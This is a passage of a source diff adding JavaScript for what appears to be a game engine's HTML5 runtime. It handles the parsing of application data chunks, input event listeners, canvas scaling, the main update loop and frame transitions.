+ this.dwBuildFlags = this.file.readAInt();
+ this.wScreenRatioTolerance = this.file.readAShort();
+ this.wScreenAngle = this.file.readAShort();
+ break;
+ // CHUNK_APPNAME
+ case 0x2224:
+ this.appName = this.file.readAString();
+ break;
+ // CHUNK_APPCODEPAGE
+ case 0x2246:
+ this.codePage = this.file.readAInt();
+ break;
+ // Target file name
+ case 0x222E: // CHUNK_APPEDITORFILENAME:
+ this.appEditorFilename = this.file.readAString();
+ break;
+ // Touch Screen message for iOS
+ case 0x224E: // CHUNK_HTML5_TOUCHME
+ this.m_touchMe = this.file.readAString();
+ break;
+ // CHUNK_GLOBALVALUES
+ case 0x2232:
+ this.loadGlobalValues();
+ break;
+ // CHUNK_GLOBALSTRINGS
+ case 0x2233:
+ this.loadGlobalStrings();
+ break;
+ // CHUNK_FRAMEITEMS
+ // CHUNK_FRAMEITEMS_2
+ case 0x2229:
+ case 0x223F:
+ this.extLoader = new CExtLoader(this);
+ this.extLoader.createList(this.file);
+ this.OIList.preLoad(this.file);
+ break;
+ // CHUNK_FRAMEHANDLES
+ case 0x222B:
+ this.loadFrameHandles(chSize);
+ break;
+ // CHUNK_HTML5PRELOADER
+ case 0x224A:
+ this.preloaderType = this.file.readAInt();
+ this.preloaderCircleCenterX = this.file.readAInt();
+ this.preloaderCircleCenterY = this.file.readAInt();
+ this.preloaderCircleRadius = this.file.readAInt();
+ this.preloaderCircleThickness = this.file.readAInt();
+ this.preloaderCircleColor = this.file.readAColor();
+ this.preloaderBackColor = this.file.readAInt();
+ if (this.preloaderBackColor != -1)
+ {
+ this.file.skipBack(4);
+ this.preloaderBackColor = this.file.readAColor();
+ }
+ this.preloaderFrameNumber = this.file.readAInt();
+ this.loadPreloader = true;
+ break;
+ // CHUNK_FRAME
+ case 0x3333:
+ // Repere les positions des frames dans le fichier
+ this.frameOffsets[this.frameMaxIndex] = this.file.getFilePointer();
+ var frID = 0;
+ var frFlags;
+ var frSize;
+ while (frID != 0x7F7F) // CHUNK_LAST
+ {
+ frID = this.file.readAShort();
+ frFlags = this.file.readAShort();
+ frSize = this.file.readAInt();
+
+ if (frSize == 0)
+ {
+ continue;
+ }
+ var frPosEnd = this.file.getFilePointer() + frSize;
+
+ switch (frID)
+ {
+ case 0x3334:
+ if (this.frameMaxIndex == 0)
+ {
+ this.file.skipBytes(2 * 4);
+ this.firstFrameColor = this.file.readAColor();
+ }
+ break;
+ case 0x3336:
+ this.framePasswords[this.frameMaxIndex] = this.file.readAString();
+ break;
+ case 0x3349:
+ this.frameEffects[this.frameMaxIndex] = this.file.readAInt();
+ this.frameEffectParams[this.frameMaxIndex] = this.file.readAInt();
+ break;
+ // CHUNK_MOSAICIMAGETABLE
+ case 0x3348:
+ var number = frSize / (3 * 2);
+ var n;
+ for (n = 0; n < number; n++)
+ {
+ var handle = this.file.readAShort();
+ this.file.skipBytes(4);
+ if (handle != 0)
+ {
+ this.mosaics[handle] = 1;
+ this.mosaicMaxHandle = Math.max(this.mosaicMaxHandle, handle + 1);
+ }
+ }
+ break;
+ }
+ this.file.seek(frPosEnd);
+ }
+ this.frameMaxIndex++;
+ break;
+ // CHUNK_BINARYFILES
+ case 0x2238:
+ var nFiles = this.file.readAInt();
+ this.embeddedFiles = new Array(nFiles);
+ for (n = 0; n < nFiles; n++)
+ {
+ this.embeddedFiles[n] = new CEmbeddedFile(this);
+ this.embeddedFiles[n].preLoad();
+ }
+ break;
+ // CHUNK_IMAGE
+ case 0x6666:
+ this.imageBank.preLoad(this.file);
+ break;
+ // CHUNK_FONT
+ case 0x6667:
+ this.fontBank.preLoad(this.file);
+ break;
+ // CHUNK_SOUNDS
+ case 0x6668:
+ this.soundBank.preLoad(this.file);
+ break;
+ }
+
+ // Positionne a la fin du chunk
+ this.file.seek(posEnd);
+ }
+
+ this.context = new StandardRenderer(this.canvas);
+
+ // Fixe le flags multiple samples
+ this.soundPlayer.setMultipleSounds((this.gaFlags & CRunApp.GA_MIX) != 0);
+
+ // Cree le sprite principal
+ if (this.parentApp == null)
+ {
+ this.mainSprite = new Sprite();
+ }
+
+ },
+
+ setParentApp: function (pApp, sFrame, options, sprite, width, height)
+ {
+ this.parentApp = pApp;
+ this.parentOptions = options;
+ this.mainSprite = sprite;
+ this.startFrame = sFrame;
+ this.parentWidth = width;
+ this.parentHeight = height;
+ },
+
+ initScreenZoom: function ()
+ {
+ this.bZoom = false;
+ this.scAngle = 0;
+ this.scScale = this.scScaleX = this.scScaleY = 1;
+ this.scXSpot = this.scXDest = this.gaCxWin / 2;
+ this.scYSpot = this.scYDest = this.gaCyWin / 2;
+ },
+ setUpdate: function ()
+ {
+ window.setTimeout(updateApplication.bind(this), 20);
+ },
+ startApplication: function ()
+ {
+ // this.dwOptions |= CRunApp.AH2OPT_LOADDATAATSTART; // FRANCOIS
+ // this.dwOptions |= CRunApp.AH2OPT_LOADSOUNDSONTOUCH;
+
+ // Specific sound handling if on iOS
+ this.iOS = /iPad/i.test(navigator.userAgent) || /iPhone/i.test(navigator.userAgent) || /iPod/i.test(navigator.userAgent);
+ if (this.iOS && this.soundBank.nHandlesReel > 0) // && (this.dwOptions & CRunApp.AH2OPT_LOADSOUNDSONTOUCH) != 0)
+ {
+ this.silentSound = new CSound(this);
+ this.silentSound.loadSilent();
+ }
+
+ // if (this.gaFlags&CRunApp.GA_STRETCH)
+ this.resizeCanvas();
+
+ this.sysEvents = new CArrayList();
+
+ this.keyBuffer = new Array(CRunApp.MAX_VK);
+ var n;
+ for (n = 0; n < CRunApp.MAX_VK; n++)
+ this.keyBuffer[n] = false;
+
+ this.canvas.application = this;
+ if (this.parentApp == null)
+ {
+ var that = this;
+ window.addEventListener("keypress", function (e)
+ {
+ that.doKeyPress(e);
+ }, false);
+ window.addEventListener("keydown", function (e)
+ {
+ that.doKeyDown(e);
+ }, false);
+ window.addEventListener("keyup", function (e)
+ {
+ that.doKeyUp(e);
+ }, false);
+ window.addEventListener("blur", function (e)
+ {
+ that.hasFocus = false;
+ }, false);
+ window.addEventListener("focus", function (e)
+ {
+ that.hasFocus = true;
+ }, false);
+ if(window !== window.top)
+ {
+ try
+ {
+ var win2 = window.top;
+ win2.addEventListener("focus", function()
+ {
+ that.hasFocus = true;
+ that.canvas.focus();
+ });
+ win2.addEventListener("blur", function()
+ {
+ that.hasFocus = false;
+ });
+ }
+ catch(e){}
+
+ }
+ window.addEventListener("resize", function (e)
+ {
+ that.resizeCanvas();
+ }, false);
+ document.addEventListener("blur", function (e)
+ {
+ that.hasFocus = false;
+ }, false);
+ document.addEventListener("focus", function (e)
+ {
+ that.hasFocus = true;
+ }, false);
+ document.addEventListener("fullscreenchange", function ()
+ {
+ that.fullScreen = document.fullscreen;
+ that.resizeCanvas();
+ }, false);
+ document.addEventListener("mozfullscreenchange", function ()
+ {
+ that.fullScreen = document.mozFullScreen;
+ that.resizeCanvas();
+ }, false);
+ document.addEventListener("webkitfullscreenchange", function ()
+ {
+ that.fullScreen = document.webkitIsFullScreen;
+ that.resizeCanvas();
+ }, false);
+
+ // Does the browser support pointer events?
+ if (window.PointerEvent) {
+ // Disable Edge default touch handling if Multiple Touch object is included
+ if (typeof (CRunMultipleTouch) === "undefined") {
+ //console.log("Multiple Touch not included => keep touch interception by browser");
+ } else {
+ //console.log("Multiple Touch included => disable touch interception by browser");
+ this.canvas.setAttribute("style", "-ms-touch-action: none;");
+ this.canvas.setAttribute("style", "touch-action: none;");
+ }
+
+ this.canvas.addEventListener('pointerdown', function (event) {
+ //where should re direct these events
+ switch (event.pointerType) {
+ case 'mouse':
+ case 'pen':
+ that.mouseDown(event, true);
+ break;
+ case 'touch':
+ that.touchStart(event, true);
+ break;
+ }
+
+ //prevent default firing
+ if (event.preventDefault) {
+ event.preventDefault();
+ }
+ }, false);
+
+ this.canvas.addEventListener('pointermove', function (event) {
+ //where should re direct these events
+ switch (event.pointerType) {
+ case 'mouse':
+ case 'pen':
+ that.mouseMove(event, that.canvas);
+ break;
+ case 'touch':
+ that.touchMove(event, true);
+ break;
+ }
+
+ //prevent default firing
+ if (event.preventDefault) {
+ event.preventDefault();
+ }
+ }, false);
+
+ this.canvas.addEventListener('pointerup', function (event) {
+ //where should re direct these events
+ switch (event.pointerType) {
+ case 'mouse':
+ case 'pen':
+ that.mouseUp(event);
+ break;
+ case 'touch':
+ that.touchEnd(event, true);
+ break;
+ }
+
+ if (event.preventDefault) {
+ event.preventDefault();
+ }
+ }, false);
+
+ this.canvas.addEventListener('pointercancel', function (event) {
+ //where should re direct these events
+ switch (event.pointerType) {
+ case 'touch':
+ that.touchEnd(event, true);
+ break;
+ }
+
+ if (event.preventDefault) {
+ event.preventDefault();
+ }
+ }, false);
+ }
+ else {
+ // The browser doesn't support pointer events
+ this.canvas.addEventListener("mousemove", function (e) {
+ that.mouseMove(e, that.canvas);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ this.canvas.addEventListener("mousedown", function (e) {
+ that.mouseDown(e, false);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ this.canvas.addEventListener("mouseup", function (e) {
+ that.mouseUp(e);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ this.canvas.addEventListener("mouseout", function (e) {
+ that.mouseOut(e);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ this.canvas.addEventListener("click", function (e) {
+ that.click(e);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ this.canvas.addEventListener("dblclick", function (e) {
+ that.dblClick(e);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ }
+ this.canvas.addEventListener("contextmenu", function (e)
+ {
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ var mousewheelevt = (/Firefox/i.test(navigator.userAgent)) ? "DOMMouseScroll" : "mousewheel"
+ if (document.attachEvent)
+ document.attachEvent("on" + mousewheelevt, function (e)
+ {
+ that.mouseWheel(e);
+ })
+ else if (document.addEventListener)
+ document.addEventListener(mousewheelevt, function (e)
+ {
+ that.mouseWheel(e);
+ }, false)
+
+ document.onselectstart = function ()
+ {
+ return false;
+ }
+ this.canvas.onselectstart = function (e)
+ {
+ if (e.preventDefault) e.preventDefault();
+ return false;
+ }
+
+ this.touchable = this.isTouchable();
+ this.touchCalls = new CArrayList();
+ this.touchesID = new Array(CRunApp.MAX_TOUCHES);
+ this.bTouchesLocked = new Array(CRunApp.MAX_TOUCHES);
+ this.touchesLocked = new Array(CRunApp.MAX_TOUCHES);
+ this.touchesX = new Array(CRunApp.MAX_TOUCHES);
+ this.touchesY = new Array(CRunApp.MAX_TOUCHES);
+ for (n = 0; n < CRunApp.MAX_TOUCHES; n++)
+ {
+ this.touchesID[n] = CRunApp.TOUCHID_EMPTY;
+ this.touchesX[n] = 0;
+ this.touchesY[n] = 0;
+ this.bTouchesLocked[n] = false;
+ this.touchesLocked[n] = 0;
+ }
+ this.nTouches = 0;
+
+ if (this.touchable && !window.PointerEvent)
+ {
+ this.canvas.addEventListener('touchstart', function (e)
+ {
+ that.touchStart(e, false);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ this.canvas.addEventListener('touchmove', function (e)
+ {
+ that.touchMove(e, false);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ this.canvas.addEventListener('touchend', function (e)
+ {
+ that.touchEnd(e, false);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ this.canvas.addEventListener('touchcancel', function (e)
+ {
+ that.touchEnd(e, false);
+ if (e.preventDefault) e.preventDefault();
+ }, false);
+ /*
+ var body=document.getElementsByTagName("body")[0];
+ body.addEventListener( 'touchstart', function(e)
+ {
+ e.preventDefault();
+ }, false );
+ */
+ }
+ window.focus();
+ this.setUpdate();
+ }
+ else
+ {
+ this.touchable = this.parentApp.touchable;
+ this.touchCalls = new CArrayList();
+ this.touchesID = new Array(CRunApp.MAX_TOUCHES);
+ this.bTouchesLocked = new Array(CRunApp.MAX_TOUCHES);
+ this.touchesLocked = new Array(CRunApp.MAX_TOUCHES);
+ this.touchesX = new Array(CRunApp.MAX_TOUCHES);
+ this.touchesY = new Array(CRunApp.MAX_TOUCHES);
+ for (n = 0; n < CRunApp.MAX_TOUCHES; n++)
+ {
+ this.touchesID[n] = CRunApp.TOUCHID_EMPTY;
+ this.touchesX[n] = 0;
+ this.touchesY[n] = 0;
+ this.bTouchesLocked[n] = false;
+ this.touchesLocked[n] = 0;
+ }
+ this.nTouches = 0;
+ }
+ this.xMouseOffset = 0;
+ this.yMouseOffset = 0;
+
+ this.appRunningState = 0;
+ this.currentFrame = -2;
+
+ this.run = new CRun(this);
+ },
+ resizeCanvas: function ()
+ {
+
+ /* if(navigator.userAgent.match(/Android/i))
+ {
+ window.scrollTo(0,1);
+ }
+ */
+ var width = this.gaCxWin;
+ var height = this.gaCyWin;
+
+ var innerWidth;
+ var innerHeight;
+ if (this.fullScreen || (this.gaFlags & CRunApp.GA_STRETCH))
+ {
+ innerWidth = window.innerWidth;
+ innerHeight = window.innerHeight;
+ document.documentElement.style.overflow = 'hidden';
+ document.body.scroll = "no";
+ }
+ else
+ {
+ innerWidth = width;
+ innerHeight = height;
+ }
+ var scaleX = innerWidth / width,
+ scaleY = innerHeight / height;
+
+ if ((this.dwOptions & CRunApp.AH2OPT_KEEPSCREENRATIO) || ((this.gaFlags & CRunApp.GA_STRETCH) && (this.gaFlags & CRunApp.GA_STRETCHTOFIT)))
+ scaleX = scaleY = Math.min(scaleX, scaleY);
+
+ if (scaleX != this.scaleX || scaleY != this.scaleY)
+ {
+ this.scaleX = scaleX;
+ this.scaleY = scaleY;
+
+ this.canvas.width = Math.floor(this.scaleX * width);
+ this.canvas.height = Math.floor(this.scaleY * height);
+ this.context.setScale(this.scaleX, this.scaleY);
+ var leftX = window.innerWidth / 2 - this.canvas.width / 2;
+ var topY = window.innerHeight / 2 - this.canvas.height / 2;
+ /*
+ this.canvas.style.left = leftX.toString() + "px";
+ this.canvas.style.top = topY.toString() + "px";
+ var objParent = this.canvas;
+ while (objParent)
+ {
+ objParent.style.left = leftX.toString() + "px";
+ objParent.style.top = topY.toString() + "px";
+ objParent.position = "absolute";
+ objParent = objParent.offsetParent;
+ }
+ /*
+ var objParent=this.canvas;
+ while (objParent)
+ {
+ objParent.style.left="0px";
+ objParent.style.top="0px";
+ objParent.position = "absolute";
+ objParent = objParent.offsetParent;
+ }
+ */
+ }
+ if (this.run)
+ this.run.autoResize();
+ },
+ resetKeyBuffer: function ()
+ {
+ var n;
+ for (n = 0; n < CRunApp.MAX_VK; n++)
+ this.keyBuffer[n] = false;
+ },
+ isTouchable: function ()
+ {
+ var agents = ['Android', 'webOS', 'iPhone', 'iPad', 'iPod', 'Blackberry', 'Windows Phone', 'Touch'];
+ var nav = navigator.userAgent;
+ var i;
+ for (i in agents)
+ {
+ if (nav.indexOf(agents[i]) >= 0)
+ {
+ return true;
+ }
+ }
+ if (('ontouchstart' in window) ||
+ (navigator.maxTouchPoints > 0) ||
+ (navigator.msMaxTouchPoints > 0)) {
+ return true;
+ }
+ return false;
+ },
+ dataHasLoaded: function (data)
+ {
+ this.dataLoading.removeObject(data);
+ this.imagesLoaded++;
+ },
+ addDataToLoad: function (data)
+ {
+ this.dataToLoad.add(data);
+ this.imagesToLoad++;
+ this.loading = true;
+ },
+ /*
+ loadAllDataNow:function()
+ {
+ while (this.dataToLoad.size() > 0)
+ {
+ var data = this.dataToLoad.get(0);
+ this.dataLoading.add(data);
+ this.dataToLoad.removeIndex(0);
+ data.doLoad();
+ }
+ },
+ */
+ stepApplication: function ()
+ {
+ if (this.infoPath)
+ {
+ this.infoCounter--;
+ if (this.infoCounter < 0)
+ {
+ this.infoCounter = 1000000000;
+ this.infoFile = new CFile();
+ this.infoFile.getFile(this.infoPath + "info.dat", loadInfo);
+ }
+ }
+
+ var date = new Date();
+ this.timer = date.getTime();
+ if (this.playApplication(false))
+ {
+ if (!this.loading)
+ {
+ if (this.parentApp == null)
+ {
+ if (this.transitionDisplay == null)
+ {
+ this.context.resetEffect((this.dwOptions & CRunApp.AH2OPT_RESAMPLESTRETCH) != 0);
+ if (!this.previousFrameGraphics)
+ {
+ var clearBack = false;
+ if (this.frame.leClearBackground) this.context.clearBackground(0, 0, this.gaCxWin, this.gaCyWin);
+ else this.context.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, this.frameColor);
+ }
+ else
+ this.context.renderSimpleImage(this.previousFrameGraphics, 0, 0, this.gaCxWin, this.gaCyWin, 0, 0);
+
+ var context = this.context._context;
+
+ if (this.bZoom)
+ {
+ bRestore = true;
+ context.save();
+ context.translate(this.scXDest, this.scYDest);
+ if (this.scAngle != 0)
+ context.rotate(-this.scAngle * 0.0174532925);
+ context.scale(Math.max(0.001, this.scScaleX), Math.max(0.001, this.scScaleY));
+ context.translate(-this.scXSpot, -this.scYSpot);
+ }
+ this.mainSprite.draw(this.context, 0, 0);
+ if (this.bZoom)
+ {
+ context.restore();
+ }
+ if (this.joystickOn)
+ this.joystick.draw(this.context);
+ if (this.versionCodeDisplay)
+ {
+ this.versionCodeDisplay--;
+ if (!this.versionCodeSurface)
+ {
+ var font = new CFont();
+ font.createDefaultFont();
+ font.lfHeight = 16;
+ this.versionCodeSurface = new CTextSurface(this, this.gaCxWin, 30);
+ this.versionCodeSurface.manualClear(0xFF0000);
+ this.versionCodeSurface.manualDrawText(window["FusionVersion"], CServices.DT_CENTER | CServices.DT_VCENTER, null, 0xFFFFFF, font, 1, 0xA0A0A0);
+ }
+ this.versionCodeSurface.draw(this.context, 0, 0, 0, 0);
+ }
+ }
+ else
+ {
+ this.context.resetEffect();
+ this.context.renderSimpleImage(this.transitionDisplay, 0, 0, this.gaCxWin, this.gaCyWin, 0, 0);
+ }
+ if ((this.gaNewFlags & CRunApp.GANF_VSYNC) != 0 && window.requestAnimationFrame)
+ window.requestAnimationFrame(updateApplication);
+ else
+ {
+ var delta = (new Date()).getTime() - this.timer;
+ delta = Math.max(1000 / this.gaFrameRate - delta, 1);
+ window.setTimeout(updateApplication, delta);
+ }
+ }
+ }
+ else
+ {
+ if (this.preloader == null)
+ {
+ var color = this.frameColor;
+ if (this.loadPreloader)
+ {
+ this.preloader = this.preloaderType == 0 ? new CPreloaderImage(this) : new CPreloaderFrame(this);
+ if (this.preloaderType == 0 && this.preloaderBackColor != -1)
+ color = this.preloaderBackColor;
+ }
+ else
+ this.preloader = new CPreloaderDefault(this);
+ this.preloaderLoaded = false;
+ this.resetted = true;
+ if (this.parentApp == null)
+ {
+ if (this.frame.leClearBackground)
+ this.context.clearBackground(0, 0, this.canvas.width, this.canvas.height);
+ else
+ this.context.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, color);
+
+ this.setUpdate();
+ }
+ return;
+ }
+ if (this.preloader != null && this.preloaderLoaded == false)
+ {
+ this.preloaderLoaded = this.preloader.load();
+ if (this.parentApp == null)
+ this.setUpdate();
+ return;
+ }
+
+ while (this.dataToLoad.size() > 0 && this.dataLoading.size() < this.dataLoadingStep)
+ {
+ var data = this.dataToLoad.get(0);
+ this.dataLoading.add(data);
+ this.dataToLoad.removeIndex(0);
+ data.doLoad();
+ }
+ this.soundPlayer.decodeData();
+
+ var bComplete = false;
+ if (this.dataToLoad.size() == 0 && this.dataLoading.size() == 0)
+ bComplete = true;
+ if (this.preloader != null && ((this.dwOptions & CRunApp.AH2OPT_LOADDATAATSTART) != 0 || (this.frame.html5Options & CRunFrame.HTML5FOPT_DISPLAYPRELOADER) != 0))
+ {
+ if (!this.resetted)
+ {
+ this.preloader.reset();
+ this.resetted = true;
+ }
+ this.preloader.step();
+ bComplete = this.preloader.isComplete();
+ }
+ if (bComplete)
+ {
+ this.resetted = false;
+ this.run.resume();
+ this.run.callComputeNewDisplay();
+ this.loading = false;
+ this.imageBank.resetToLoad();
+ this.soundBank.resetToLoad();
+ this.fontBank.resetToLoad();
+ this.imagesToLoad = 0;
+ this.imagesLoaded = 0;
+ if (this.bStartFadeIn)
+ {
+ this.bStartFadeIn = false;
+ var quit = this.run.doRunLoop();
+ if (quit != 0)
+ this.appRunningState = CRunApp.SL_ENDFRAME;
+ else
+ {
+ this.appRunningState = CRunApp.SL_FRAMELOOP;
+ this.startFrameFadeIn(this.transitionOldSurface);
+ this.transitionOldSurface = null;
+ }
+ }
+ }
+ if (this.parentApp == null)
+ {
+ this.setUpdate();
+ }
+ }
+ return true;
+ }
+ else
+ {
+ this.endApplication();
+ return false;
+ }
+ },
+ drawSubApplication: function (cont, x, y, erase)
+ {
+ if (!this.loading)
+ {
+ this.context.resetEffect((this.dwOptions & CRunApp.AH2OPT_RESAMPLESTRETCH) != 0);
+ if (this.transitionDisplay == null)
+ {
+ if (!erase)
+ this.context.renderSolidColor(x, y, this.parentWidth, this.parentHeight, this.frameColor);
+ this.context.clip(x, y, this.parentWidth, this.parentHeight);
+ this.mainSprite.draw(this.context, 0, 0);
+ this.context.unClip();
+ }
+ else
+ {
+ this.context.resetEffect();
+ this.context.renderSimpleImage(this.transitionDisplay, x, y, this.gaCxWin, this.gaCyWin, 0, 0);
+ }
+ }
+ },
+
+ checkFocus: function ()
+ {
+ if ((this.dwOptions & CRunApp.AH2OPT_RUNEVENIFNOTFOCUS) == 0)
+ {
+ if (this.hasFocus)
+ {
+ if (this.bStoppedFocus)
+ {
+ this.run.resume();
+ this.bStoppedFocus = false;
+ }
+ }
+ else
+ {
+ var bKeepSounds = this.gaNewFlags & CRunApp.GANF_SAMPLESEVENIFNOTFOCUS;
+ this.run.pause(bKeepSounds);
+ this.bStoppedFocus = true;
+ }
+ }
+ },
+
+ playApplication: function (bOnlyRestartApp)
+ {
+ this.checkFocus();
+
+ var bLoop = true;
+ var bContinue = true;
+ do
+ {
+ switch (this.appRunningState)
+ {
+ case CRunApp.SL_RESTART:
+ this.initGlobal();
+ this.nextFrame = this.startFrame;
+ this.appRunningState = 1;
+ this.killGlobalData();
+ if (bOnlyRestartApp)
+ {
+ bLoop = false;
+ break;
+ }
+ case CRunApp.SL_STARTFRAME:
+ this.startTheFrame();
+ break;
+ case CRunApp.SL_FRAMEFADEINLOOP:
+ if (this.loopFrameFadeIn() == false)
+ {
+ this.endFrameFadeIn();
+ if (this.appRunningState == CRunApp.SL_QUIT || this.appRunningState == CRunApp.SL_RESTART)
+ this.endFrame();
+ }
+ else
+ bLoop = false;
+ break;
+ case CRunApp.SL_FRAMELOOP:
+ this.run.doRunLoop();
+ if (this.run.rhQuit != 0)
+ {
+ if (this.startFrameFadeOut())
+ this.appRunningState = CRunApp.SL_FRAMEFADEOUTLOOP;
+ else
+ this.endFrame();
+ }
+ else
+ bLoop = false;
+ break;
+ case CRunApp.SL_FRAMEFADEOUTLOOP:
+ if (this.loopFrameFadeOut() == false)
+ {
+ this.endFrameFadeOut();
+ if (this.appRunningState == CRunApp.SL_QUIT || this.appRunningState == CRunApp.SL_RESTART)
+ this.endFrame();
+ }
+ else
+ bLoop = false;
+ break;
+ case CRunApp.SL_ENDFRAME:
+ this.endFrame();
+ break;
+ default:
+ bLoop = false;
+ break;
+ }
+ } while (bLoop == true);
+
+ // Quit ?
+ if (this.appRunningState == CRunApp.SL_QUIT)
+ {
+ bContinue = false;
+ }
+ // Continue?
+ return bContinue;
+ },
+
+ endApplication: function ()
+ {
+ // Remove listeners
+ // if (this.parentApp==null)
+ // {
+ // // Remove event handlers
+ // }
+
+ // Stop sounds
+ if (this.soundPlayer != null)
+ {
+ this.soundPlayer.stopAllSounds();
+ }
+ // this.exitFullScreen();
+ },
+
+ startTheFrame: function ()
+ {
+ // Charge la frame
+ if (this.nextFrame != this.currentFrame)
+ {
+ this.frame = new CRunFrame(this);
+ this.frame.loadFullFrame(this.nextFrame);
+ }
+ this.frameColor = this.frame.leBackground;
+ this.currentFrame = this.nextFrame;
+
+ // Init runtime variables
+ this.frame.leX = this.frame.leY = 0;
+ this.frame.leLastScrlX = this.frame.leLastScrlY = 0;
+ this.frame.rhOK = false;
+ this.initScreenZoom();
+
+ // Creates display planes
+ var n;
+ if (this.parentApp != null)
+ {
+ this.xOffset = 0;
+ this.yOffset = 0;
+ }
+ else
+ {
+ this.xOffset = this.gaCxWin / 2 - this.frame.leEditWinWidth / 2;
+ this.yOffset = this.gaCyWin / 2 - this.frame.leEditWinHeight / 2;
+ }
+ for (n = 0; n < this.frame.nLayers; n++)
+ {
+ this.frame.layers[n].createPlanes(this.xOffset, this.yOffset);
+ }
+
+ if (this.frame.leFlags & CRunFrame.LEF_DISPLAYNAME)
+ document.title = this.frame.frameName;
+ this.previousFrameGraphics = null;
+ if (this.frame.leFlags & CRunFrame.LEF_KEEPDISPLAY)
+ this.previousFrameGraphics = this.transitionOldSurface;
+ if(this.frame.leFlags & CRunFrame.LEF_TRANSPARENTBKD)
+ this.frame.leClearBackground = true;
+
+ this.run.setFrame(this.frame);
+ this.run.initRunLoop(this.frame.fadeIn != null);
+ this.appRunningState = CRunApp.SL_FRAMELOOP;
+ if (this.frame.fadeIn != null)
+ {
+ if (this.loading)
+ {
+ this.bStartFadeIn = true;
+ }
+ else
+ {
+ var quit = this.run.doRunLoop();
+ if (quit != 0)
+ this.appRunningState = CRunApp.SL_ENDFRAME;
+ else
+ {
+ this.appRunningState = CRunApp.SL_FRAMELOOP;
+ this.startFrameFadeIn(this.transitionOldSurface);
+ this.transitionOldSurface = null;
+ }
+ }
+ }
+ else
+ {
+ this.transitionOldSurface = null;
+ }
+ if (this.loading)
+ this.run.pause(true);
+ else
+ this.run.callComputeNewDisplay();
+ },
+
+ resetLayers: function ()
+ {
+ if (this.parentApp != null)
+ {
+ this.xOffset = 0;
+ this.yOffset = 0;
+ }
+ else
+ {
+ this.xOffset = this.gaCxWin / 2 - this.frame.leEditWinWidth / 2;
+ this.yOffset = this.gaCyWin / 2 - this.frame.leEditWinHeight / 2;
+ }
+ var n;
+ for (n = 0; n < this.frame.nLayers; n++)
+ {
+ this.frame.layers[n].resetPlanes(this.xOffset, this.yOffset);
+ }
+ },
+
+ endFrame: function ()
+ {
+ var ul;
+ ul = this.run.killRunLoop(false);
+
+ if ((this.gaNewFlags & CRunApp.GANF_RUNFRAME) != 0)
+ {
+ this.appRunningState = CRunApp.SL_QUIT;
+ }
+ else
+ {
+ switch (CServices.LOWORD(ul))
+ {
+ case 1:
+ this.nextFrame = this.currentFrame + 1;
+ if ( this.preloaderType == 1 && this.nextFrame == this.preloaderFrameNumber )
+ this.nextFrame++;
+ this.appRunningState = CRunApp.SL_STARTFRAME;
+ if (this.nextFrame >= this.gaNbFrames)
+ this.appRunningState = CRunApp.SL_QUIT;
+ break;
+ case 2:
+ this.nextFrame = Math.max(0, this.currentFrame - 1);
+ if ( this.preloaderType == 1 && this.nextFrame == this.preloaderFrameNumber )
+ {
+ if ( this.nextFrame == 0 )
+ this.nextFrame = this.currentFrame;
+ else
+ this.nextFrame--;
+ }
+ this.appRunningState = CRunApp.SL_STARTFRAME;
+ break;
+ case 3:
+ this.appRunningState = CRunApp.SL_STARTFRAME;
+ if ((CServices.HIWORD(ul) & 0x8000) != 0)
+ {
+ this.nextFrame = CServices.HIWORD(ul) & 0x7FFF;
+ if (this.nextFrame >= this.gaNbFrames)
+ {
+ this.nextFrame = this.gaNbFrames - 1;
+ }
+ if (this.nextFrame < 0)
+ {
+ this.nextFrame = 0;
+ }
+ }
+ else
+ {
+ if (CServices.HIWORD(ul) < this.frameMaxHandle)
+ {
+ this.nextFrame = this.frameHandleToIndex[CServices.HIWORD(ul)];
+ if (this.nextFrame == -1)
+ {
+ this.nextFrame = this.currentFrame + 1;
+ }
+ }
+ else
+ {
+ this.nextFrame = this.currentFrame + 1;
+ }
+ }
+ break;
+
+ case 4:
+ this.appRunningState = CRunApp.SL_RESTART;
+ this.nextFrame = this.startFrame;
+ break;
+
+ default:
+ this.appRunningState = CRunApp.SL_QUIT;
+ break;
+ }
+ }
+
+ if (this.appRunningState == CRunApp.SL_STARTFRAME)
+ {
+ // If invalid frame number, quit current game
+ if (this.nextFrame < 0 || this.nextFrame >= this.gaNbFrames)
+ {
+ this.appRunningState = this.currentFrame;
+ }
+ }
+
+ if (this.appRunningState != CRunApp.SL_STARTFRAME || this.nextFrame != this.currentFrame)
+ {
+ var n;
+ for (n = 0; n < this.frame.nLayers; n++)
+ {
+ this.frame.layers[n].deletePlanes();
+ }
+
+ this.frame = null;
+ this.currentFrame = -1;
+ }
+ },
+
+ getTransitionManager: function ()
+ {
+ if (this.transitionManager == null)
+ {
+ this.transitionManager = new CTransitionManager(this);
+ }
+ return this.transitionManager;
+ },
+
+ startFrameFadeIn: function (pOldSurf)
+ {
+ var pSf1 = null;
+ var pSf2 = null;
+ var pData = this.frame.fadeIn;
+
+ if (pData != null)
+ {
+ pSf1 = document.createElement("canvas");
+ pSf1.width = this.gaCxWin;
+ pSf1.height = this.gaCyWin;
+ pSf2 = document.createElement("canvas");
+ pSf2.width = this.gaCxWin;
+ pSf2.height = this.gaCyWin;
+ var renderer = new StandardRenderer(pSf2);
+ renderer.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, this.frameColor);
+ this.mainSprite.draw(renderer, 0, 0);
+
+ // Fill source surface
+ renderer = new StandardRenderer(pSf1);
+ if ((pData.transFlags & CTransitionData.TRFLAG_COLOR) != 0)
+ renderer.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, pData.transColor);
+ else
+ {
+ renderer.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, this.gaBorderColour);
+ if (pOldSurf != null)
+ renderer.renderSimpleImage(pOldSurf, 0, 0, pOldSurf.width, pOldSurf.height, 0, 0);
+ }
+
+ // Reset current surface
+ this.transitionDisplay = document.createElement("canvas");
+ this.transitionDisplay.width = this.gaCxWin;
